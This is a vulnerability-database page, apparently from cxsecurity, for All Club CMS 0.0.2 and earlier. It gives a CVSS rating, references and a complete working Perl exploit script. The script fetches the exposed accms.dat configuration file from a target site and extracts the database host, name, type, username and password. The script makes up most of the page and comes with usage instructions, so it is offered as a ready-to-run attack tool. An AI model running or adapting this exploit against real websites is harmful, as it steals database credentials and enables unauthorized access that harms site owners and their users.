All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

2009.08.27
Credit: staker
Risk: High
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl =about All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit ------------------------------------------------------- by athos - staker[at]hotmail[dot]it download on http://sourceforge.net ------------------------------------------------------- Usage: perl exploit.pl localhost/cms [MODE] perl exploit.pl localhost/cms all perl exploit.pl localhost/cms default ------------------------------------------------------- NOTE: Don't add me on MSN Messenger =cut use strict; use warnings; use IO::Socket; use LWP::UserAgent; my (@conf,$result); my $host = shift; my $path = shift; my $mode = shift or &usage; my @data = split /=\s/,dbconfig(); die "Exploit Failed!\n" unless(join('',@data) =~ /DB_PASS/i); if($mode =~ /all/i) { my $http = new LWP::UserAgent( agent => 'Lynx (textmode)', timeout => 5, ) or die $!; my $send = $http->get("http://${host}/${path}/accms.dat"); if($send->is_success) { print STDOUT $send->content; exit; } else { print STDERR $send->status_line; exit; } } if($mode =~ /default/i) { $data[9] =~ s/\s/\0/; # password $data[8] =~ s/DB_PASS/\0/; # username $data[7] =~ s/DB_USER/\0/; # db host $data[6] =~ s/DB_HOST/\0/; # db name $data[5] =~ s/DEF_DB/\0/; # db type @conf = ( 'dbhost:' => $data[7], 'dbname:' => $data[6], 'dbtype:' => $data[5], 'username:' => $data[8], 'password:' => $data[9], ); foreach(@conf) { $result .= $_; } my $content = join '',split / /,$result; if($content =~ /(dbhost|dbname|dbtype|username|password)/i) { print STDOUT "[-] Exploit Successfully!\n"; print STDOUT $content; exit; } else { print STDOUT "[-] Exploit Failed!\n"; print STDOUT "[-] by athos - staker[at]hotmail[dot]it\n"; exit; } } sub dbconfig { my $html; my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; my $data = "GET /$path/accms.dat HTTP/1.1\r\n". "Host: $host\r\n". "User-Agent: Lynx (textmode)\r\n". "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n". "Accept-Language: en-us,en;q=0.5\r\n". "Accept-Encoding: text/plain\r\n". "Connection: close\r\n\r\n"; $sock->send($data); while(<$sock>) { $html .= $_; } return $html if $html =~ m{HTTP/1.1 200 OK}; } sub usage { print STDOUT "[-] All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit\n"; print STDOUT "[-] Usage: perl $0 [host] [path] [mode]\n"; print STDOUT " perl $0 localhost /cms all\n"; print STDOUT " perl $0 localhost /cms default\n"; exit; }

References:

http://xforce.iss.net/xforce/xfdb/47121
http://www.milw0rm.com/exploits/7266


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top